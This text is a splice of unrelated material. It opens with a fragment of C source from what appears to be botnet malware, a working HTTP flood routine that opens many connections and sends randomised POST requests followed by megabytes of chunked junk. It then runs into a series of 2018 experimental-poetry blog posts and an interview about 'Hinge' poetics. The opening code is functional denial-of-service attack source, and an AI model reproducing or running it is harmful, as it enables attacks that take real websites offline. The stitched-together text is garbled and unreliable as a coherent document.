                addr.sin_port = htons(80);

                conn->last_recv = fake_time;
                conn->state = HTTP_CONN_CONNECTING;
                connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
#ifdef DEBUG
                printf("[http flood] fd%d started connect\n", conn->fd);
#endif

                FD_SET(conn->fd, &fdset_wr);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_CONNECTING)
            {
                if (fake_time - conn->last_recv > 30)
                {
                    conn->state = HTTP_CONN_INIT;
                    close(conn->fd);
                    conn->fd = -1;
                    continue;
                }

                FD_SET(conn->fd, &fdset_wr);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_SEND_HEADERS)
            {
#ifdef DEBUG
                //printf("[http flood] Sending http request\n");
#endif

                char buf[10240];
                util_zero(buf, 10240);

                //util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: ");
                util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/");
                rand_alphastr(buf + util_strlen(buf), 16);
                util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
                util_strcpy(buf + util_strlen(buf), conn->user_agent);
                util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
                util_strcpy(buf + util_strlen(buf), conn->domain);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_KEEP_ALIVE);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
                table_lock_val(TABLE_ATK_KEEP_ALIVE);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_ACCEPT);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
                table_lock_val(TABLE_ATK_ACCEPT);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_ACCEPT_LNG);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
                table_lock_val(TABLE_ATK_ACCEPT_LNG);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_CONTENT_TYPE);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
                table_lock_val(TABLE_ATK_CONTENT_TYPE);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
                table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
                util_strcpy(buf + util_strlen(buf), " ");
                table_unlock_val(TABLE_ATK_CHUNKED);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL));
                table_lock_val(TABLE_ATK_CHUNKED);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                util_strcpy(buf + util_strlen(buf), "\r\n");

                conn->to_send = (80 * 1024 * 1024);

#ifdef DEBUG
                if (sockets == 1)
                {
                    printf("sending buf: \"%s\"\n", buf);
                }
#endif

                send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
                conn->last_send = fake_time;

                conn->state = HTTP_CONN_SEND_JUNK;
                FD_SET(conn->fd, &fdset_wr);
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_SEND_JUNK)
            {
                int sent = 0;
                char rndbuf[1025] = {0};
                util_zero(rndbuf, 1025);
                rand_alphastr(rndbuf, 1024);

                if (conn->to_send <= 0)
                {
                    send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL);
                } else {
                    // EZZZZZZZZZ HACKS
                    if (conn->to_send < 1024)
                        rndbuf[conn->to_send] = 0;

                    if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0))
                    {
                        char szbuf[4] = {0};
                        util_zero(szbuf, 4);
                        util_itoa(1024, 16, szbuf);
                        send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL);
                        send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
                    }

                    if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1)
                    {
                        conn->state = HTTP_CONN_RESTART;
                        continue;
                    }

                    // if our local send buffer is full, slow down. no need to rush (^:
                    if (sent != util_strlen(rndbuf))
                    {
                        conn->state = HTTP_CONN_SNDBUF_WAIT;
                    }

                    conn->to_send -= sent;
                    FD_SET(conn->fd, &fdset_wr);
                }

                conn->last_send = fake_time;
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
            {
                FD_SET(conn->fd, &fdset_wr);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else
            {
                // NEW STATE WHO DIS
                conn->state = HTTP_CONN_INIT;
                close(conn->fd);
                conn->fd = -1;
            }
        }

        if (mfd == 0)
            continue;

        tim.tv_usec = 0;
        tim.tv_sec = 1;
        nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
        fake_time = time(NULL);

        if (nfds < 1)
            continue;

        for (i = 0; i < sockets; i++)
        {
            conn = &(http_table[i]);

            if (conn->fd == -1)
                continue;

            if (FD_ISSET(conn->fd, &fdset_wr))
            {
                if (conn->state == HTTP_CONN_CONNECTING)
                {
                    int err = 0;
                    socklen_t err_len = sizeof (err);

                    ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
                    if (err == 0 && ret == 0)
                    {
#ifdef DEBUG
                        printf("[http flood] FD%d connected.\n", conn->fd);
#endif
                        conn->state = HTTP_CONN_SEND;
                    }
                    else
                    {
#ifdef DEBUG
                        printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
#endif
                        close(conn->fd);
                        conn->fd = -1;
                        conn->state = HTTP_CONN_INIT;
                        continue;
                    }
                }
                else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
                {
                                                            conn->state = HTTP_CONN_SEND_JUNK;
                }
            }

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                // if we get any sort of headers or error code then punt it.
                // we really dont care about any content we get
                conn->state = HTTP_CONN_RESTART;
            }
        }

        // handle any sockets that didnt return from select here
        // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
#ifdef DEBUG
        if (sockets == 1)
        {
            printf("debug mode sleep\n");
            sleep(1);
        }
#endif
    }
}


Tuesday, March 13, 2018

Virgois Bedell, wed 1 9a


the same (x-1) (x+1), image by Irene Koronas



wed 1   9a


<stretch>
parabola ellipses
pick forgotten prisoner
reinvents a point at infi

combine geometer jactive

1 (=i2) I (=i3)
combine 2 gran ball
cast into southern hemisphere
with one exception

(fig 36)

ax lines and circles
the same (x-1) (x+1)
1/0 = inf and I inf = 0

2  3
1  1
4  6

because 8
is an empty seat



—Virgois Bedell



Monday, March 12, 2018

Mat Rix, Verification of Unspoofed Source Addresses


Fusebox at the Hotel Alchemy, image by Daniel Y. Harris




Verification of Unspoofed Source Addresses


1 2: 1 5: 1 8 . 9 1 3 1 8 4 IP ( t o s 0 x0 , t t l
3 6 , i d 2 0 3 3 5 , o f f s e t 0 , f l a g s [ none ],
p r o t o UDP ( 1 7 ) , l e n g t h 4 1 2 ) XX. 1 0.

1 0 0 . 9 0 . 1 8 7 8 > XX. 1 6 4 . 3 0 . 5 6 . 5 0 6
 0 : [ udp sum ok ] SIP , l e n g t h : 384 2 REGI
STER s i p : 3 9 8 2 5 1 6 0 6 8@XX. 1 6 4 . 3 0

. 5 6 S IP / 2 . 0 3 Via : S IP / 2 . 0 / UDP XX. 1
 6 4 . 3 0 . 5 6 : 5 0 6 0 ; b r a n c h =1 F8b5C6T
44G2CJt ; r p o r t 4 C o nt e nt−Le n gt h : 0 5

From : < s i p : 3 9 8 2 5 1 6 0 6 8@XX. 1 6 4.
3 0 . 5 6 > ; t a g =14718138184028634232183
42668 6 Acce pt : a p p l i c a t i o n / s d p 7 U

se r−Agent : A s t e r i s k PBX 8 To : < s i p : 3
9 8 2 5 1 6 0 6 8@XX. 1 6 4 . 3 0 . 5 6 > 9 C o n
5 6 10 CSeq : 1 REGISTER 11 C all−ID : 47310.


—Mat Rix

Friday, March 9, 2018

Rupert M. Loydell, DETRITUS


Construction of the Eschatology Center, image by Daniel Y. Harris 



DETRITUS
The Blue Room, Eugene Richards

Alphabet wallpaper, corpses of birds
Bed full of wood and plaster
Bricks that used to be a wall
Broken china and a jar of peanut butter
Christmas lights still dangling on the porch
Cowboy boot next to a collapsed bed
Cut and tangled telephone wires
Dead dog in the grass outside
Dismembered doll on the windowsill
Dusty rectangles where pictures used to hang
Family photos stained with damp
Frozen clock hand on the faded dial
Gates keeping no-one out or in
Gingham curtains shredded by the wind
Grey sponge and dead cockroaches in the bath
Honeycomb on a broken chair, red shoe on the floor
Horses wandering across the road
Kids bike and cattle skull
Lace erupting from a door
Map of the world on piled-up school desks
Mildewed playing cards
Moth wings on a baseball mitt
Nightshirt on a hanger above the rotten sofa
Office chair by the outhouse
Pearls and a pink toy rabbit
Photo in the sink with forgotten cutlery
Picture of a place they dreamed of going to
Red mould or lichen flowering on a green wall
Room full of shoes
Rubble on the lawn
Rusty cars abandoned in a snowy field
Scaffolding that used to hold up a roof
Spark of lightning curling in the dusk
Stilled circular saw
Timber that used to be a shed
Torn-up Jesus and a pile of washers and screws
Trees that never used to be there
Tumbleweed resting in an armchair
Unopened letters, unpaid bills
Weeds between the paving stones
Whitewash that’s no longer white
Wooden leg, kilner jar, empty can of peaches


—Rupert M. Loydell

Tuesday, March 6, 2018

Charlie Baylis, radiant blue


Dame Hyll Yw Mieri Displays Her Schlong, image by Daniel Y. Harris 



radiant blue

sitting alone in a sperm whale forty nauticals from nuuk

sitting alone burning circles on my shoes

sitting alone in a lilac star

    thoughts like which witch ran naked in a bikini    thoughts like seals fucking
 seals       death at seventeen     wanking to the pages of which witch magazine

which pane the elephant    whose legs brush the queen of greenland

how about fuck you


you’re so vague       you probably think          waves and waves of radiant blue

a polka dot expanding then contracting      exploding silently into my paper cup      teenage crushes on a cucumber plate       wave upon wave of nuclear hate    cau eich llygaid


*

sitting alone in diluvial light

sitting alone in shack in nuuk watching seals fucking seals sound tracked by miley cyrus and earth song

thoughts like who ate the snow    where went the elephant      x in your rp hex

sitting alone in the bathtub waiting for the pope to expire    for the wheel to swing    for the wifi to ping    for the phone to

echo of the arctic on the ice panes

arrival of vague upon vague of radiant blue

a polka dot expanding then contracting then imploding     gracefully in my paper cup

    digital cement and spiders      lock the car at red light     fuck up the bridges

if you have lost a pair yellow shoes      blow the queen of greenland

an axe in your radiant blue heart       hyll yw mieri    prydferth yw eu mwyar


*

it took the scalps of forty four seals / twenty two rubies before the king of greenland deigned to dine

   seals caught by astro naughts in sinking space forts

waves and waves of interglacial blue glaze

the king spoke of idiot snowmen    arogl cnau coco blodau’r eithin     the ones he sculpted in d names

days      never ending winter nights black as hammers and words painted in white on the surface of the moon

i waited        

              patiently
for the king to expire

purple bitches in bikinis    sinking space forts slinging vague upon vague of nuclear hate

circumspect vampires carving gaps in the weather

the sky made of ashbery eyes           i called to the radiant blue     the king is dead

the king is dead           off with their heads


*

miley cyrus snorting xanax is the culmination of months and months of communism

months and months of sitting on a windowsill     thinking

nothing but how form is cellular    how the galaxy is like an egg

grown men in shorts kicking cones around a plant of grass

crack the egg

i am the new king of nook        

it is terribly cold        my only friends are penguins

i smile      in pictures      the king and queen gave me nothing but vandals and wallpaper

[extremely inappropriate content removed]     n/a     vanish to indigo    flyaway under the lilac trees           proceed to leaf      mieri lle bu mwynfeydd
   
         you have successfully logged off




—Charlie Baylis

Wednesday, February 21, 2018

Heller Levinson & Jonathan Mulcahy-King, glide with haruspex haunting


Dr. Panglossalium, image by Irene Koronas



glide with haruspex haunting


The following “glide” application arose organically to the surface, the bubbling result of Ephesus Glom Part II (X-Peri, 2018), and is a prime example of how the hinge term self-announces, beckons for address. 


serried-pop sussurus slur
                             ausculate
spill
               sleigh
                                    slip
                                                slide
    s    e    e    p                         slur                  swirl swish
purl broth bauble bob
                        bor-e-a-lis
burble broil    breast-stroke                             bombinate
glissade tremolo glottis glide
                                                                        tuck & roll
                                                                        bob & weave
larval throb
lurch griddle
suds sizzle
stride slipper wave-lap plasmic guttural twirl curl
twizzle swizzle spiral serpentine coils morph
                                                                                    horizontal bars
                                                                                    3-In-One oil
                                                                                    hydroblade
molt
molten
meander
melt
-- Jonathan Mulcahy-King hinge augment


Maladaptation
magmatic roe
spasm-lunge
thrown pantomime voice
unguent volatiles outrun cool 
hawk-like haruspex haunting 
hanging in air 
                                hang                glide        er
rip-jolting    a new    slipstream 
glean       glom Gerechtigkeitsspirale downing 
idling wave - timorous at crash
plunge-pull integer angelic trudge
2 minutes 23 seconds into ‘Love’ by John Coltrane (Meditations LP, 1966):
                        sax f l i (r) t s  
over to the fumblin g low 
siphonophore   bioluminate  cephalopod metropoli 
Cnidaria adapts newly melodious murmurations 
neutering truant typhoons 
under frozen lake contors           
tagless
low
        cracking 
        boiling 
        breaking 
                        brûlée 
carnivorous ineptitude to         
                                skirr                 
                                sally         
                                skim         
not skimming but
resisting fall
molecules float free till pasteurise - perfection is dead


—Heller Levinson & Jonathan Mulcahy-King

Sunday, February 18, 2018

Ephesus Glom Part Two: An Interview with Heller Levinson and Linda Lynch By Jonathan Mulcahy-King


LinguaQuake, Heller Levinson
Black Widow Press (2018, forthcoming)
Book Cover Image, “Quarry, VIII” (Detail)
Pastel pigment on cotton paper
60 x 44 inches, 2015


Ephesus Glom Part Two: 
An Interview with Heller Levinson 
and Linda Lynch
By Jonathan Mulcahy-King


The uniqueness of Hinge, as a post-language innovation can be found in its unwavering study of the term (a given word) through its "application". In doing so, the hingist approaches a term as an archeologist might a fossil or artefact: it is dug up, analyzed, chipped away at, an inventory is made, it is carbon-dated and processed for vital information, a representation is made to project its innate potential etc. In this sense, Hinge does for the word what BpNichol did for the letter (See “H: An Excursion” bpNichol Archive), it poeticizes and re-presents language as a chain of information, moving reflexively as it navigates through the “beautiful quixotic”. This is unique as Hinge is attempting a full-scale poetic study of the term, and as a starting point, this is certainly intriguing, producing poems/applications based around the terms "askew," "seepage," "pathos," "glide," "meander", for example, means language is actually Hinging with itself, and the Hingist, is merely an observer, a scientist.

Jonathan: Heller, how do you choose a term/word to applicate? Could you describe your selection process?

Heller: First off, I wish to congratulate you on a stunning depiction (above) of how Hinge functions. Your insights are enlightening me as well.  Now, your question:  “How do you choose a term to applicate?” is a critical question because it serves to reveal Hinge Spirit by declaring I do not choose the term, the term chooses me.  Any humility that might be attributed to me arises from the fact that I have very little (aside from being available) to do with the process.  I see myself as a Hinge carrier pigeon.  We have a sterling example of how a term materializes from our former interview:  “As you know, Hinge insists upon the ongoing & extensive.  “Ongoing” does Not refer to a sequence, or from a start to a finish (A future exploration of the term “glide” beckons), but more in the manner of leaping, associating, . . . Fecundating Rotational Clusters.”  There you go then.  Concurrent with this interview I am, to borrow your term,‘archaeologizing’ “glide.”  Viewing the above, what would be appositional to a sequence, a step by step?  A “glide” would.  Instead of the “walk,” the “skateboard.”  Exploring “glide,” I turn to my former applications for source material, i.e., “tenebraed to mermaid” arises as a likely candidate, for I visualize mermaids as being rich in glide & the line “two-world strider slippering through wave-lap” morphs (properties of ‘importation’ & ‘mutation’ discussed in tenebraed & Wrack Lariat) into (still under construction, now just a working line) “stride slipper wave-lap plasmic guttural swirl.”  The imports exemplify how the language is always in motion, always lusting to reproduce & to selectively off-spring.  Will “tenebraed to trespass” reveal fresh information? “tenebraed to step?” “querying oscillative from collapsible cordon?” This is how I pursue the quarry.  Relentless seeking to embolden.

Jonathan: How much of “glide” relies on “glide”, as it seems, mechanically speaking, glide might also rely on “phonemic impulsivity”, albeit one of extemporaneity (which is itself a form of “glide”), and glide of course is both the consequence and the action of momentum. As an analogy, we might imagine a hang-glider maneuvering abruptly, being propelled into a new slipstream, the maneuver is not glide, but is steering, no matter how impulsive and ineffective.

Heller: It was not my intention to suggest that “the Hinge relies on glide” nor do I wish to attach any attribute to Hinge.  I may wax lyrical about Hinge singing it is ‘whirly not burly, loopy not droopy,’ but that is different than encumbering a flux with a role or a reliance.  I merely wanted to answer your question as to how a term is chosen.  ‘Glide’ emerges as a term more in keeping with our trajectory than ‘series’ or ‘sequence.’  The terms you’ve introduced – impulsivity, extemporaneity, phonemic impulse, the action of momentum – are all apt.

Jonathan: So to encumber a flux with a role or reliance is against the principals of Hinge. I see how this is in keeping with the liminality and motion of language. Relatedly then, there is noticeably more of a narrative earlier in your Hinge work than in your most recent work, which is weighted more heavily toward phonemic connection/ construction, would you say that's accurate, and was this a conscious decision?

Heller: As I pointed out in Part 1, my attention has been drawn more & more toward the Linguistically Undocumented, those ‘terms’ currently deprived of sufficient recognition.  For a narrative-oriented work such as “from Buffalo this Indian,” I had available over seven books to study (see Wrack Lariat, p.163).  To pursue a poetic dissection/exploration of the term askew, where would you turn?  I searched Amazon for books on askew & the first that came up was The American Church Experience:  A Concise History.  With little material to go on, I was compelled to turn to applications arising from my own most recent publication, tenebraed:  “tenebraed to disarray;” “tenebraed to disparity;” “tenebraed to tangle” (to cite a few).  Wouldn’t you love to see a book devoted to examining “askew” in all its shades & perambulations? 

Now permit me to reverse the role of the interviewee & play the interviewer:  Could you visualize a methodical multi-pronged & extensive investigation of “askew” constituting a narrative?  If so, how would it look? 

Jonathan: By narrative I am of course referencing your "flute carved from the wing bone of a red-crowned crane" (Wrack Lariat) which is, admittedly, less about fishing & exploring, “UnCovering”, as you put it, and more about a series of thematic connections (which as discussed in Part One, can be found in a YouTube video of you reading and contextualising this material from Wrack Lariat). But to answer your question head-on, yes, as someone drawn to Hinge, I would say that if askew were a word I had discovered uncreatively (from an archive based on pattern and context), I could visualize a methodical multi-pronged & extensive investigation whereby narrative-forming would be intrinsic. The example I will give comes from a recent project I have embarked upon whereby I am interviewing various subjects about key moments in their lives. The project is predicated by a fascination I have of how we experience “new identity”, especially linguistically. The idea is to intersperse the interviews to create a portrait of a group life, whereby the experience of new identity becomes the narrative, the story, and the agent. The idea is to explore personhood through poetry practice and what it means in a posthuman innovative environment. It is about new identity of poetry as well and will incorporate techniques from innovate and realist schools, but Hinge, I believe, will be a vital component. I want to explore how remarkably brave people are empowered through their language. So far I have three subjects, one of whom is an 85 year old lady who recently came out as queer, though has never acted on her desires, who was awarded an MBE from the Queen of England for her career as a nurse, who attended the final weeks of Ruth Ellis’ life, the last woman to be executed in Britain (in 1955 she was hung for the unremorseful shooting of a war hero and successful businessman with whom she had been in an abusive relationship, scandalized for having had multiple abortions, working at a London club as a hostess, being sexually involved with a string of married men).  And, my subject is from an especially impoverished area of the city I live in, an area recently labelled the “sex work capital” of the UK. So you can see from the above how Hinge is already at play, the linguistic possibilities waiting to be uncovered.

If, in light of the above, I came across the term or idea of “askew” in one or more of the transcripts and were able to map its significance and growth as a linguistic ingredient of New Identity, I would of course be exploring it, ‘archaeologising’ it, tinkering with it, and let it lead for a while, so it would become part of the narrative. I hope this answers your question, Heller?  

Heller: This is most interesting as, if I understand you correctly, you would be emplo(y)(r)ing askew to serve as an active agent among other active agents striving to establish an identity construct.  My approach, on the other hand, would be to establish an identity for askew whereby it will emerge as a subject comparable to your 85 year old lady.  Once “askew” has been en-fleshened into subject matter, it will “lead” with confidence, robustly integrating into your narrative.  

Jonathan: I would say the “subject/term” in the example I use is the experience of new identity, therefore the woman I mention would be closer to the “application”, and “askew” (if it presented), could be another application, etc. Here, I am attempting to reframe what it means to conduct an interview—by rendering ego (whether that of the interviewer or interviewee), completely useless, hence why I term it an Exīrview (from the Latin exīre, the present active infinitive of exeō (“I exit, I leave”)).

Heller: Which is a prototypical example of Hinging, the Ego Dissolving to enable full Encounter to/with the Subject. “Exīrview” as a Hinge Event.

Jonathan: Yes, absolutely, Exīrview would be the Hinge Event. So, to clarify, the subject and the narrative are intrinsic here.

Heller: This is Hinge at work:  A term becoming Em-boldened &, through context-hopping, emboldening further terrain.  At the same time, of course, “askew” prospers from the newly-situated fertilizations, a bi-amplification.  This is how we roll along. 

To deepen the exploration, I would invite long standing Hinge partner and visual artist, Linda Lynch, to weigh in.  Linda, would you care to comment upon “askew,” and how would you approach it from Hinging the visual?

Linda: Thank you both for this fertile conversation, which in itself is a manifestation of Hinge.  I return to Heller’s point of “being available.” To approach askew is to allow askew.  This means becoming present with the term non-directionally, allowing the term to “be” and also to ask “what is the ‘idea’ of askew?” and to attempt an answer, or multiple answers, with the least amount of imposition. 

For me, it is about locating – not creating – but locating a point of visual connection with the term.  This is where not only being available comes to bear but stepping aside is required to allow rumination of the term, or application, to find its visual connection.  My role becomes that of receptor, or neuron, simply conveying natural links.  In this way the works find each other, and then we see and learn after the fact what they reveal in their own dynamic by coming together. 

My particular approach to drawing is non-linear from the standpoint of it not being something that occurs necessarily as one event leading logically to another.  It is not narrative nor does it illustrate anything other than the history of its own making, though like language under the auspices of Hinge, it can employ “visual terms” to break open fecund ground.  In this way my visual process becomes a natural and fluid tributary of Hinge. 

But then we find that Hinge applies indiscriminately to any medium, allowing for everything to be elementally released from unnatural limitations.  Life is non-linear, occurring facet upon facet simultaneously rather than unfolding in neat story lines, so the desire to organize our experiences becomes a futile exercise. Why should our language and art not reflect this?  

Making something new in drawing requires returning drawing to its own nature. Making something new in language requires returning it to its own nature, that which it was before the constraints of rigid meaning imposed upon it. 


 Linda Lynch, Little Karst Drawing, 2017


compression
cropper frisson flare
   jam tensile char
     [:::] :: [::::::]
                         ::::
ducal duende
miasma smudge
squash skullduggery
nag of the reined-in
boiling
frost contagion

irascible flame